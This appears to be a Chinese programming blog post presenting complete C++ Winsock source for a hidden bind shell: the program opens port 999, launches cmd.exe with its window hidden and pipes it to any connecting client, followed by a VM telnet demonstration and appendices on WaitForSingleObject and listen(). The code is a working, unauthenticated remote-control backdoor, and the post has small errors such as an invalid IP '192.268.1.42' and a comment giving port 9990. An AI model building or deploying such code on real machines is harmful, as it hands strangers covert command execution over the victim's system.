隐藏Console窗口无效(续1)

时间:2021-08-28 04:50:19

 【2014/10/19  23:57 】  

  :通过端口远程控制主机。运行程序之后,程序自动开放本机的999端口,其他电脑便可以通过999端口对本机操作。


程序中使用的到的命令:

        telnet测试端口命令: telnet IP 端口 或者 telnet 域名 端口(若telnet不是内部命令,使用打开或关闭windows功能,启动Telnet服务)
        netstat 测试开放的端口号

        使用ipconfig控制网络连接的一个命令行工具。它的主要功用,包括用来显示现时网络连接的设置(/all参数),或通过/release参数来释放取得的ip位置和 通过 /renew 来重新获取ip位置的分配。

        使用net user 获取电脑的账户信息

 

    管道是一种简单的进程间通讯(IPC)机制,实际上是一段共享内存。一个进程在向管道写入数据之后,另一个进程就可以从管道的另一端读取数据。没有解决程序窗口隐藏的问题。


// Mini.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"

#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )

#define MAX_SER 10
#define HOST_PATH 256
#define HOSTNAME_SIZE HOST_PATH
#define MasterPort 999						//定义监听的端口

char hostName[MAX_PATH]={0};
unsigned short maxService;
unsigned short port;


void Service(LPVOID lpv);
int LoopControl(SOCKET llistenfd,int isMultiTasking);
void initial();												
int initSockets(void);											//初始化Windows Socket

int main(int argc, char * argv[])  
{
	SOCKET listenFd,acceptfd;			             
	struct sockaddr_in serverAddr,clientAddr;	
	char buffer[1024];
	int nSize=sizeof(sockaddr_in);
	int err;

	PROCESS_INFORMATION ProcessInfo;
	STARTUPINFO StartupInfo;
	char szCMDPath[255];

	initial();
	initSockets();

	//分配内存资源
	ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
	GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
	
	//GetStartupInfo(&StartupInfo);
	//创建socket
	//listenFd=socket(PF_INET,SOCK_STREAM,0);
	listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
	
	if(listenFd==INVALID_SOCKET){
		printf("error:out of socket resource \n");
		return 1;		
	}

	//bind本机的端口
	serverAddr.sin_family=AF_INET;															//协议类型是INET
	serverAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);										//本机IP
	serverAddr.sin_port=htons(MasterPort);													//绑定端口为9990

	err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr));			
	if(err==INVALID_SOCKET){
		printf("error: unable to bind socket \n");
		return 1;
	}
	
	//listen 监听端口
	err=listen(listenFd,1);
	if(err==INVALID_SOCKET){
		printf("error: listen socket failed \n");
		return 1;
	}
	printf("listen......");

	acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize);			//接收客户连接的准备


	/*
	*   nLength : The size, in bytes, of this structure. 
	*   lpSecurityDescriptor : A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object,If the value of this member is NULL, 
	*						   the object is assigned the default security descriptor associated with the access token of the calling process. 
	*   bInheritHandle : A Boolean value that specifies whether the returned handle is inherited when a new process is created. 
	*/
	SECURITY_ATTRIBUTES sa;
	sa.nLength=12;
	sa.lpSecurityDescriptor=0;
	sa.bInheritHandle=true;

	HANDLE hReadPipe1;
	HANDLE hWritePipe1;
	HANDLE hReadPipe2;
	HANDLE hWritePipe2;

	/*
	* Creates an anonymous pipe, and returns handles to the read and write ends of the pipe.
	*   hReadPipe [out] : A pointer to a variable that receives the read handle for the pipe.
	*   hWritePipe [out] : A pointer to a variable that receives the write handle for the pipe.
	*	lpPipeAttributes [in, optional] : If lpPipeAttributes is NULL, the handle cannot be inherited.
	*   nSize [in] : The size of the buffer for the pipe, in bytes. The size is only a suggestion; 
	*                the system uses the value to calculate an appropriate buffering mechanism. If this parameter is zero, the system uses the default buffer size.
	*/
	err=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
	err=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

	
	//配置隐藏窗口结构体
	StartupInfo.cb=sizeof(STARTUPINFO);
	StartupInfo.wShowWindow=SW_HIDE;
	StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	StartupInfo.hStdInput=hReadPipe2;
	StartupInfo.hStdOutput=hWritePipe1;
	StartupInfo.hStdError=hWritePipe1;

	//创建匿名管道
	BOOL ret=CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
	if(ret){
		printf("%d",GetLastError());
	}

	unsigned long lBytesRead;
	while(1){
		/*
		* Copies data from a named or anonymous pipe into a buffer without removing it from the pipe. It also returns information about data in the pipe.
		*   hNamedPipe [in] : A handle to the pipe. This parameter can be a handle to a named pipe instance
		*	lpBuffer [out, optional] : A pointer to a buffer that receives data read from the pipe. This parameter can be NULL if no data is to be read.
		*   nBufferSize [in] : The size of the buffer specified by the lpBuffer parameter, in bytes. This parameter is ignored if lpBuffer is NULL.
		*   lpBytesRead [out, optional] : A pointer to a variable that receives the number of bytes read from the pipe. This parameter can be NULL if no data is to be read.
		*   lpTotalBytesAvail [out, optional] :  pointer to a variable that receives the total number of bytes available to be read from the pipe.
		*   lpBytesLeftThisMessage [out, optional] : A pointer to a variable that receives the number of bytes remaining in this message
		*/
		err=PeekNamedPipe(hReadPipe1,buffer,1024,&lBytesRead,0,0);
		if(lBytesRead){
			
			/*
			* Reads data from the specified file or input/output (I/O) device
			*   hFile [in] : A handle to the device 
			*   lpBuffer [out] : A pointer to the buffer that receives the data read from a file or device.
			*   nNumberOfBytesToRead [in] : The maximum number of bytes to be read.
			*   lpNumberOfBytesRead [out, optional] : A pointer to the variable that receives the number of bytes read when using a synchronous hFile parameter
			*   lpOverlapped [in, out, optional] : 
			*/
			ret=ReadFile(hReadPipe1,buffer,lBytesRead,&lBytesRead,0);
			if(!ret){
				break;
			}
			ret=send(acceptfd,buffer,lBytesRead,0);
			if(ret<=0) break;
		}
		else{

			lBytesRead=recv(acceptfd,buffer,1024,0);
			if(lBytesRead<=0){
				break;
			}

			/*
			* If the function succeeds, the return value is nonzero (TRUE).
			*/
			ret=WriteFile(hWritePipe2,buffer,lBytesRead,&lBytesRead,0);
			if(!ret) break;
		}
	}
	//WaitForSingleObject(ProcessInfo.hProcess,INFINITE);

	CloseHandle(ProcessInfo.hProcess);
	CloseHandle(ProcessInfo.hThread);

	printf("server is down \n");

	//关闭进程句柄
	closesocket(listenFd);
	closesocket(acceptfd);
	WSACleanup();
	
	return 0;
}

void initial()
{
	maxService=3;
	port=5054;
}

 /*
  *	Winsock服务初始化
 */
int initSockets(void)
{
	WSADATA wsaData;
	WORD sockVersion;                                              //typedef unsigned short WORD(16)
	int err;
	sockVersion=MAKEWORD(2,2);
	err=WSAStartup(sockVersion,&wsaData);						  
	if(err!=0)
	{
		printf("error %d :winsock not avaliable\n",err);
	}
	printf("environemnt invaild success.....\n");
	return 0;
}

  虚拟机ip地址:192.168.1.42。

  在虚拟机中运行本程序。在电脑的cmd中输入

telnet 192.268.1.42 999

  建立了连接:

隐藏Console窗口无效(续1)


  建立的连接目录为 E:\Release.我们需要切换到C盘


隐藏Console窗口无效(续1)

通过命令操作电脑:

隐藏Console窗口无效(续1)


关闭cmd窗口:

隐藏Console窗口无效(续1)


附1:


已通知状态(受信状态) 未通知状态(非受信状态)

进程内核对象

      当进程正在运行时,进程内核对象处于未通知状态。当进程停止运行时,就处于已通知状态。可以通过等待进程来检查进程是否仍然运行。

      无成功等待的副作用。

线程内核对象

      当线程正在运行时,线程内核对象处于未通知状态。当线程停止运行时,就处于已通知状态。可以通过等待线程来检查线程是否仍然运行。

      无成功等待的副作用。

     

      附2:

     等待函数可使线程自愿进入等待状态,直到一个特定的内核对象变为已通知状态为止。这些等待函数中最常用的是WaitForSingleObject:
  

DWORD WaitForSingleObject(HANDLE hObject, DWORD dwMilliseconds);

    当线程调用该函数时,第一个参数hObject 标识一个能够支持被通知/未通知的内核对象。第二个参数dwMilliseconds 用于该线程指明,为了等待该对象变为已通知状态,它将等待多长时间。

    调用下面这个函数将告诉系统,调用函数准备等待到hProcess句柄标识的进程终止运行为止:【真不懂说了什么


WaitForSingleObject(hProcess, INFINITE);

第二个参数告诉系统,调用线程愿意永远等待下去(无限时间量),直到该进程终止运行。
通常情况下, INFINITE是作为第二个参数传递给WaitForSingleObject的,不过也可以传递任何一个值(以毫秒计算)。顺便说一下, INFINITE已经定义为0xFFFFFFFF(或-1)。当然,传递INFINITE有些危险。如果对象永远不变为已通知状态,那么调用线程永远不会被唤醒,它将永远处于死锁状态,

 

    附3:

    listen函数使用主动连接套接口变为被连接套接口,使得一个进程可以接受其它进程的请求,从而成为一个服务器进程。在TCP服务器编程中listen函数把进程变为一个服务器,并指定相应的套接字变为被动连接。

listen函数在一般在调用bind之后-调用accept之前调用,它的函数原型是:

#include<sys/socket.h>int listen(int sockfd, int backlog)

返回:0──成功,-1──失败

 

参数sockfd

被listen函数作用的套接字,sockfd之前由socket函数返回。在被socket函数返回的套接字sockfd之时,它是一个主动连接的套接字,也就是此时系统假设用户会对这个套接字调用connect函数,期待它主动与其它进程连接,然后在服务器编程中,用户希望这个套接字可以接受外来的连接请求,也就是被动等待用户来连接。由于系统默认时认为一个套接字是主动连接的,所以需要通过某种方式来告诉系统,用户进程通过系统调用listen来完成这件事。

参数backlog

这个参数涉及到一些网络的细节。在进程正理一个一个连接请求的时候,可能还存在其它的连接请求。因为TCP连接是一个过程,所以可能存在一种半连接的状态,有时由于同时尝试连接的用户过多,使得服务器进程无法快速地完成连接请求。如果这个情况出现了,服务器进程希望内核如何处理呢?内核会在自己的进程空间里维护一个队列以跟踪这些完成的连接但服务器进程还没有接手处理或正在进行的连接,这样的一个队列内核不可能让其任意大,所以必须有一个大小的上限。这个backlog告诉内核使用这个数值作为上限。 毫无疑问,服务器进程不能随便指定一个数值,内核有一个许可的范围。这个范围是实现相关的。很难有某种统一,一般这个值会小30以内。

当调用listen之后,服务器进程就可以调用accept来接受一个外来的请求。关于accept更的信息,请接着关注本系统文章。